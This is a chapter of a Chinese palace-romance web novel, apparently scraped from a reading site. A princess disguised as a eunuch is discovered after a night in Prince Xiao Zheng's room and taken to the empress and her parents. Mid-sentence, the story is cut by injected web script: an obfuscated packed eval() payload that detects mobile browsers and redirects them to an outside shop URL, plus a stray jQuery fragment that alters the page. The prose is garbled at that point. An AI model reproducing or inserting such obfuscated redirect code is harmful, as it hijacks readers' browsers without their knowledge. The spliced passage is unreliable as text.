75.“当我们是来抓你的?”

作品:《重生后前妻她又准备好攻略我了

    天快亮时,萧征才勉强睡着。睡了不知有没有一个时辰,又被窗外的响动声吵醒。


    后庑房这位置实在尴尬,紧挨着玉栖宫后墙,又不算真正的内院,杂役、内侍、送炭的、送水的,从门口那条夹道来来往往,脚步声混着低语声,清清楚楚。


    萧征皱了皱眉,艰难地活动活动僵硬的脖颈正欲再睡,忽然听见门前有挨得极近的响动——有人在廊下停住了。


    不是路过,是紧贴着门板候着呢。


    他心里一慌,抬眼望向与他头碰头睡着的苏萦。


    小姑娘的一张小脸枕在自己手臂上,睡得脸颊都压出了红印子,嘴角微微张着,毫无防备。


    “未晚。”他压低声音唤她。


    没醒。


    “未晚!”他撑起身子,忍着背上的疼,伸手轻轻推了推她的肩。


    苏萦一个激灵,猛地睁开眼,迷迷糊糊地瞪着他,眼神还涣散着:“嗯?怎么了……要喝水?”


    “有人来了。”萧征压低声音,目光扫向门口,“你快躲起来。”


    苏萦愣了愣,顺着他的目光看向门口,又回头看看这间屋子——本是堆杂物的仓房,昨日才收拾出来,摆上伶仃几样家具:一张榻,一张桌子,墙角一只半人高的旧木柜,柜门还开着,里头堆着几床旧褥子。


    一目了然。


    往哪儿躲去?


    她“扑棱”一下站起来,头昏昏的,简直像个宿醉的人,压了半宿的胳膊也麻的厉害,还没等躲到哪儿去,险些自己先摔个大跟头。


    门外传来一声轻轻的咳嗽。


    是周福海的声音。


    萧征和苏萦同时露出恐怖的神色。


    “周公公!”萧征急惶惶先声夺人:“本王昨夜没休息好,要再睡一会儿,有什么事——你都等会儿再来吧!”


    “启禀十七殿下,”周福海的声音隔着门板传来,不疾不徐,洞悉一切似的含着笑,“嘉裕侯与保康公主已到正殿,正与皇后娘娘叙话。娘娘吩咐,请郡主过去相见。”


    苏萦的脸“腾”地红了。


    萧征的耳根也烧了起来。


    苏萦咬了咬嘴唇,低下头,开始整理自己。


    她先抬手揉了揉脸,把枕出来的那两道红印子使劲搓了搓,又摸了摸头发——昨儿夜里胡乱塞进帽子里的一头青丝,此刻早已散得不成样子。她咬着发带,手忙脚乱地重新挽,挽了三回都挽不利索,急得直跺脚。


    萧征看着她,沉默了一息,朝她伸出手去。


    “坐过来。”


    苏萦红了脸,扭扭捏捏坐到床前,背过身去。


    “别动。”


    他的声音低低的,手指轻轻拢过她脑后的碎发,动作有些生涩,三两下挽成一个简单的髻,把发带绑好。


    绑的有些紧,头皮绷绷的,苏萦不舒服地自己扯了扯,不好意思转过头去。


    这算什么?交杯酒还没吃,倒先梳上头了。


    两人都默着,要不是外头门上那道人影无声地催着,说不定要在这儿一前一后呆到什么时候。


    苏萦深吸一口气站起来,低头看向自己身上那件皱巴巴的小内侍袍服——昨儿穿了一夜,袖口蹭了灰,衣襟压出了褶子,此刻怎么看怎么不像样。那顶内侍帽被她拿在手里,戴也不是,不戴也不是。


    戴吧,谁看不出来她是假扮的,能瞒过谁去?


    不戴吧,就这么光着头去正殿?


    她咬了咬牙,把帽子往萧征榻上一扔,硬着头皮走向门口。


    走到门边,手按上门闩,又停住了。


    她回过头,看向榻上的萧征。


    萧征也看着她。


    两人谁都没说话,只是那样看着。


    “……一会儿到了前面,你机灵点儿。”萧征终于艰难开口:“就说……说我非叫你过来的。”


    苏萦听了这话,反倒松下来不少,嗤笑着睨他一眼,扔下一句:“就属你最不机灵了!”拉开门,头也不回地走了出去。


    门在身后合上。


    周福海垂首立在廊下,见她出来,眼皮都没抬一下,只微微躬身:“郡主,请随老奴来。”


    苏萦跟着他往前走,走了几步,忍不住回头看了一眼那扇紧闭的门。


    周福海径直往前走着,像是什么都没在意。


    ———


    玉栖宫正殿。


    苏萦跟在周福海身后跨进门槛,殿内暖意扑面而来,一室融融的香气。


    她低着头,一步一步往里走,眼睛只敢盯着自己的脚尖。那双靴子太大了,雀头怕她嫌弃,给她拿了双新做的,也是大的出奇,走起路来鞋跟空落落的,险些绊了自己一下。


    殿内有人轻轻笑了一声。


    “哟。”


    那声音带着笑,懒洋洋的,是她再熟悉不过的语调。


    “这小宫人,睡迷了?还不睁眼看看,走到哪儿来了?”


    苏萦猛地抬头——苏侯正立在皇后下首,双手拢在袖中,笑眯眯地看着她,那双总是让人看不透的眼睛里,此刻盛满了毫不掩饰的趣味。


    步皇后端坐在上首,手里捧着一盏茶,正垂眸啜饮着,唇角却微微弯着,像是在忍笑。


    她母亲坐在皇后身边,穿着一身鞓红色的家常袄裙,正歪着头打量她,那眼神里带着三分好笑、三分心疼、更有几分“你这丫头可真行”的无奈。


    三个人,六只眼睛,齐刷刷落在她身上。


    苏萦站在殿中央,一身皱巴巴不合身的小内侍袍服,头发虽然重新挽过了,鬓边却还有几缕碎发不安分地翘着,脸上那两道枕出来的红印子还没完全消下去,眼皮也因为昨日哭的太多而微微肿着。


    “女儿给母后请安,给父亲母亲请安。”她瓮声瓮气的请安,两眼瞥着地面。


    乔望舒放下手里的茶盏,上上下下打量了她一遍,忽然“噗嗤”一声笑了出来。


    “我们未晚这是怎么了?”她歪着头,语气里带着故意夸张的惊讶,“昨儿晚上赏明宫遭贼了?把你衣裳偷了,就留这么一身?”


    苏萦的脸更红了,咬着嘴唇,恨不能找条地缝钻进去。


    步皇后终于抬起头,看了她一眼。那目光淡淡的,却带着一点只有她们两人才懂的东西——像是默许,像是了然,也像是一点点无奈的纵容。


    “过来。”步皇后说。


    苏萦低着头,一步一步挪过去。走到皇后跟前,站住了,不知道该往哪儿看。


    “抬头。”


    她抬起头。


    步皇后看着她那张狼狈的小脸,沉默了一会儿。然后,她伸出手,用指尖轻轻蹭了蹭她脸上那道还没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235188|190662||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    消下去的红印子。


    “压的?”


    苏萦的脸烫得像要烧起来,轻轻点了点头。


    步皇后收回手,端起茶盏,喝了一口,语气淡淡的:“那屋里冷不冷,昨晚睡得累不累?”


    苏萦愣住了。她鼻头一酸,眼眶里忽然涌上一股热流。


    她也不知道自己在委屈什么——是因为被抓住了?是因为这样子太狼狈了?还是因为……因为太久没见到父亲母亲了,此刻忽然看见他们,那些憋了一夜的委屈一下子涌上来了?


    “娘!”她干脆也不再忍着,转身一头扎进母亲怀里。


    “好了好了,”乔望舒轻轻抚着苏萦的背,语气里带着笑,可那笑里分明也有一丝心疼,“哭什么?又不是什么大事。娘娘早知道了,你当我们是来抓你的?”


    苏萦埋在她怀里,闷闷地吸着鼻子。


    苏予夺不知什么时候也走了过来,站在旁边,笑嘻嘻地伸手轻轻捻了捻她头顶那几缕翘着的碎发。


    “我们未晚长大了,”他语气神神秘秘,像在说什么了不得的大事,“会自己跑去找人了?”


    苏萦从母亲怀里抬起头,红着眼眶瞪他一眼。


    苏予夺举起双手,做投降状:“好好好,不说了不说了。”


    “好好儿地给你们养了十年,都没出过什么岔子。”步皇后难得俏皮地一翻白眼:“今儿你们一来,倒撞见她这副模样,好像本宫没教好似的。”


    苏萦正趴在母亲怀里抽抽搭搭,听见这话,耳朵一动,偷偷微侧过脸露出一只红红的眼睛,像只偷窥的小兔子。


    “瞧娘娘说的!”苏予夺呵呵笑道:养得好不好,交到娘娘手里就没有不放心的!”


    “就是,养了十年还这么没出息,足见娘娘多纵着她。”乔望舒嗔怪地在苏萦通红的小鼻头上刮了一下。


    苏萦把脸埋回母亲怀里,闷闷地哼了一声,也不知是抗议还是撒娇。


    “好了,”乔望舒低头看她,伸手用拇指替她擦掉脸上的泪痕,“饿不饿?”


    苏萦愣了愣,摇头。


    “困不困?”


    她想了想,点头。


    “走吧,”乔望舒搀她起身,“跟母亲回去睡觉。睡醒了,再想想怎么跟我们交代——你昨儿晚上,到底是怎么溜进去的?”


    苏萦的脸又红了。


    她回头看向步皇后:“母后,那我……”


    步皇后端着茶盏,轻轻吹了吹茶沫,头也不抬地说:“去吧。睡醒了再来。”


    苏萦咬了咬嘴唇,轻轻“嗯”了一声。


    走到殿门口,她忽然停住脚步,回过头。


    “母后……”她小心翼翼地开口:“萧征他一定饿了,从昨晚就没吃东西呢。”


    皇后玩味地一笑:“他能吃吗?”


    “母后!”苏萦发急:“母后明察秋毫,一定知道他是被冤枉的!您行行好,就给他吃饭吧!”


    一转念想到皇后的意思可能是“他疼得吃不下”,苏萦窘迫不已,挽着她母亲快步跑出去,身后隐约听见她父亲低低的笑声。


    苏予夺笑眯眯地朝皇后拱了拱手,才跟着走了出去。


    “咱们未晚会疼人哟!”苏侯追上母女俩,故意嬉皮笑脸地哼。


    “苏予夺!”乔望舒嫌弃地白了他一眼。